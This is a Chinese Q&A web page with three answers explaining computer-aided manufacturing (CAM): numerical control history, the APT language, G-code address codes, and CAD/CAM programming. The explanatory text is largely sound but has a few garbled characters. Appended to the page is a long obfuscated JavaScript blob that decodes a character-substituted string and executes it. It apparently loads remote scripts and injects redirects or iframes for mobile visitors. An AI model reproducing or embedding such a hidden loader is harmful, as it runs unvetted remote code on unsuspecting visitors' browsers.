请问CAM的作用主要是什么?

2025-02-27 05:59:54
推荐回答(3个)
回答1:

CAM(Computer Aided Making ,计算机辅助制造)的核心是计算机数值控制(简称数控),是将计算机应用于制造生产过程的过程或系统。1952年美国麻省理工学院首先研制成数控铣床。数控的特征是由编码在穿孔纸带上的程序指令来控制机床。此后发展了一系列的数控机床,包括称为“加工中心”的多功能机床,能从刀库中自动换刀和自动转换工作位置,能连续完成锐、钻、饺、攻丝等多道工序,这些都是通过程序指令控制运作的,只要改变程序指令就可改变加工过程,数控的这种加工灵活性称之为“柔性”。加工程序的编制不但需要相当多的人工,而且容易出错,最早的CAM便是计算机辅助加工零件编程工作。麻省理工学院于1950年研究开发数控机床的加工零件编程语言APT,它是类似FORTRAN的高级语言。增强了几何定义、刀具运动等语句,应用APT使编写程序变得简单。这种计算机辅助编程是批处理的。

CAM系统一般具有数据转换和过程自动化两方面的功能。CAM所涉及的范围,包括计算机数控,计算机辅助过程设计。

数控除了在机床应用以外,还广泛地用于其它各种设备的控制,如冲压机、火焰或等离子弧切割、激光束加工、自动绘图仪、焊接机、装配机、检查机、自动编织机、电脑绣花和服装裁剪等,成为各个相应行业CAM的基础。

计算机辅助制造系统是通过计算机分级结构控制和管理制造过程的多方面工作,它的目标是开发一个集成的信息网络来监测一个广阔的相互关联的制造作业范围,并根据一个总体的管理策略控制每项作业。
从自动化的角度看,数控机床加工是一个工序自动化的加工过程,加工中心是实现零件部分或全部机械加工过程自动化,计算机直接控制和柔性制造系统是完成一族零件或不同族零件的自动化加工过程,而计算机辅助制造是计算机进入制造过程这样一个总的概念。

一个大规模的计算机辅助制造系统是一个计算机分级结构的网络,它由两级或三级计算机组成,中央计算机控制全局,提供经过处理的信息,主计算机管理某一方面的工作,并对下属的计算机工作站或微型计算机发布指令和进行监控,计算机工作站或微型计算机承担单一的工艺控制过程或管理工作。

计算机辅助制造系统的组成可以分为硬件和软件两方面:硬件方面有数控机床、加工中心、输送装置、装卸装置、存储装置、检测装置、计算机等,软件方面有数据库、计算机辅助工艺过程设计、计算机辅助数控程序编制、计算机辅助工装设计、计算机辅助作业计划编制与调度、计算机辅助质量控制等。

一、概 述

图3-4-1 CAM系统及包括的内容

到目前为止,计算机辅助制造(CAM,Computer Aided Manufacturing)有狭义和广义的两个概念。CAM的狭义概念指的是从产品设计到加工制造之间的一切生产准备活动,它包括CAPP、NC编程、工时定额的计算、生产计划的制订、资源需求计划的制订等。这是最初CAM系统的狭义概念。到今天,CAM的狭义概念甚至更进一步缩小为NC编程的同义词。CAPP已被作为一个专门的子系统,而工时定额的计算、生产计划的制订、资源需求计划的制订则划分给MRPⅡ/ERP系统来完成。CAM的广义概念包括的内容则多得多,除了上述CAM狭义定义所包含的所有内容外,它还包括制造活动中与物流有关的所有过程(加工、装配、检验、存贮、输送)的监视、控制和管理。这种广义CAM系统中与物流有关部分的示意图如图3-4-1所示。 在这一节里,我们只介绍CAM最狭义的概念,即只与NC编程有关的内容。
二、数控系统及数控编程原理

图3-4-2 数控系统功能

(一)数控系统
数控系统是机床的控制部分,它根据输入的零件图纸信息、工艺过程和工艺参数,按照人机交互的方式生成数控加工程序,然后通过电脉冲数,再经伺服驱动系统带动机床部件作相应的运动。图3-4-2为数控系统的功能示意图。
传统的数控机床(NC)上,零件的加工信息是存储在数控纸带上的,通过光电阅读机读取数控纸带上的信息,实现机床的加工控制。后来发展到计算机数控(CNC),功能得到很大的提高,可以将一次加工的所有信息一??机。更先进的CNC机床甚至可以去掉光电阅读机,直接在计算机上编程,或者直接接收来自CAPP的信息,实现自动编程。后一种CNC机床是计算机集成制造系统的基础设备。现代CNC系统常具有以下功能:
(1) 多坐标轴联动控制; (2) 刀具位置补偿; (3) 系统故障诊断; (4) 在线编程; (5) 加工、编程并行作业; (6) 加工仿真; (7) 刀具管理和监控; (8) 在线检测。
(二)数控编程原理
所谓数控编程是根据来自CAD的零件几何信息和来自CAPP的零件工艺信息自动或在人工干预下生成数控代码的过程。常用的数控代码有ISO(国际标准化组织)和EIA(美国电子工业协会)两种系统。其中ISO代码是七位补偶代码,即第8位为补偶位;而EIA代码是六位补奇码,即第5列为补奇位。补偶和补奇的目的是为了便于检验纸带阅读机的读错信息。一般的数控程序是由程序字组成,而程序字则是由用英文字母代表的地址码和地址码后的数字和符号组成。每个程序都代表着一个特殊功能,如G00表示点位控制,G33表示等螺距螺纹切削,M05表示主轴停转等。一般情况下,一条数控加工指令是若干个程序字组成的,如N012G00G49X070Y055T21中的N012表示第12条指令,G00表示点位控制,G49表示刀补准备功能,X070和Y055表示X和Y的坐标值,T21表示刀具编号指令。整个指令的意义是:快速运动到点(70,55),一号刀取2号拨盘上刀补值。常用地址码的含义如表1所示。

机能 地址码 意义
程序号
顺序号
准备机能 O
N
G 程序编号
顺序编号
机床动作方式指令
坐标指令 X.Y.Z
A.B.C.U.V.W
R
I.J.K 坐标轴移动指令
附加轴移动指令
圆弧半径
圆弧中心坐标
进给机能
主轴机能
刀具机能 F
S
T 进给速度指令
主轴转速指令
刀具编号指令
辅助机能 M
B 接通、断开、启动、停止指令
工作台分度指令
补偿
暂停
子程序调用
重复
参数 H.D
P.X
I
P.Q.R 刀具补偿指令
暂停时间指令
子程序号指定
固定循环重复次数
固定循环参数

表1 地址码及其含义

数控编程的方式一般有四种:
(1) 手工编程; (2) 数控语言编程; (3) CAD/CAM系统编程; (4) 自动编程。
三、手工编程
手工编程是编程人员按照数控系统规定的加工程序段和指令格式,手工编写出待加工零件的数控加工程序。手工编程的主要步骤如下:
(1) 根据零件图纸对零件进行工艺分析;
(2) 确定加工路线和工艺参数(装夹顺序、表面加工先后顺序、切削参数);
(3) 确定刀具移动轨迹(起点、终点、运动形式);
(4) 计算机床运动所需要数据;
(5) 书写零件加工程序单;
(6) 纸带穿孔;
可见,手工编程同时也包括了制定工艺规程的内容,手工编程目前已用得很少。
四、数控语言编程
使用数控语言编程往往被称为“自动编程”,这种叫法来源于APT(Automatically Programmed Tools)数控编程语言。事实上,它并不是自动化的编程工具,只是比手工编程前进一步,实现了用“高级编程语言”来编写数控程序。这种编程系统的工作过程如图3-4-3所示。

图3-4-3 数控语言编程过程

用数控语言编程就是用专用的语言和符号来描述零件的几何形状和刀具相对零件运动的轨迹、顺序和其他工艺参数等。由于采用类似于计算机高级语言的数控语言来描述加工过程,大大简化了编程过程,特别是省去了数值计算过程,提高了编程效率。用数控语言编写的程序称为源程序,计算机接受源程序后,首先进行编译处理,再经过后置处理程序才能生成控制机床的数控程序。目前常用的数控编程语言是美国麻省理工学院开发的APT语言。APT语言词汇丰富,定义的几何类型多,并配有多种后置处理程序,通用性好,获得广泛应用。APT语言的源程序是由语句组成的,共有四种类型的语句。而语句则是由词汇、数值、标识符号等按一定语法规则组成的。
1)几何定义语句
几何定义语句的一般形式为: 〈标识符〉=〈几何元素专用词〉/参数 例如,语句C1=CIRCLE/20,80,12,5中,C1为几何元素定义的名字,VIRCLE为几何元素类型(圆),20,80,12,5分别表示圆心的坐标值和半径值。
2)刀具运动语句
刀具运动语句用来模拟加工过程中刀具运动的轨迹。在APT中用3个表面来定义刀具的位置和运动轨迹。这3个表面是零件面(PS)、导向面(DS)和检查面(CS),如图3-4-4所示。其中零件面是刀具运动过程中形成的表面;导向面用来定义刀具和零件面之间的位置关系;检查面用来确定每次走刀运动的刀具终止位置。例如TLONPS和TLOFPS分别表示刀具中心正好位于零件面上和不位于零件面上,TLLFT表示刀具在导向面的左面。

图3-4-4 零件面、导向面和检查面

3)工艺数据语句
工艺数据语句用来描述工艺数据和一些控制功能。例如采用SPINDL/n,CLW表示主轴的转速(n)和转动方向(CLW),采用CUTTER/d,r表示铣刀直径和刀尖圆角半径等。
4)初始语句和终止语句
初始语句表示程序的名称,终止语句表示零件程序的结束。初始语句由“PARTNO”和名称组成,终止语句用FIN1表示。

图3-4-5 CAD/CAM系统编程

图3-4-6 自动编程系统

五、CAD/CAM系统编程
采用数控语言编程虽比手工编程简化许多,但仍需要编程人员编写源程序,仍比较费时。为此,后来又发展了CAD/CAM编程技术。到目前几乎所有大型CAD/CAM应用软件都具备数控编程功能。在使用这种系统编程时,编程人员不需要编写数控源程序,只需要从CAD数据库中调出零件图形文件,并显示在屏幕上,采用多级功能菜单作为人机界面。编程过程中,系统还会给出大量的提示。这种方式操作方便,容易学习,又可大大提高编程效率。一般CAD/CAM系统编程部分都包括下面的基本内容:查询被加工部位图形元素的几何信息;对设计信息进行工艺处理;刀具中心轨迹计算;定义刀具类型;定义刀位文件数据。
对于一些功能强大的CAD/CAM系统,甚至还包括数据后置处理器,自动生成数控加工源程序,并进行加工模拟,用来检验数控程序的正确性。图3-4-5为这种系统的示意图。
六、自动编程
上述CAD/CAM系统编程中,仍需要编程人员过多地干预才能生成数控源程序。随着CAPP技术的发展,使数控自动编程成为可能。图3-4-6所示为自动编程系统的组成。系统从CAD数据库获取零件的几何信息,从CAPP数据库获取零件加工过程的工艺信息,然后调用NC源程序生成数控源程序,再对源程序进行动态仿真,如果正确无误,则将加工指令送到机床进行加工。

回答2:

计算机辅助生产,计算机辅助制造(利用计算机设计机械部件,并用所得数据控制机器运行、检测、制造出产品)。

回答3:

广泛运用于机械加工制造,电脑编程零件加工,等。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();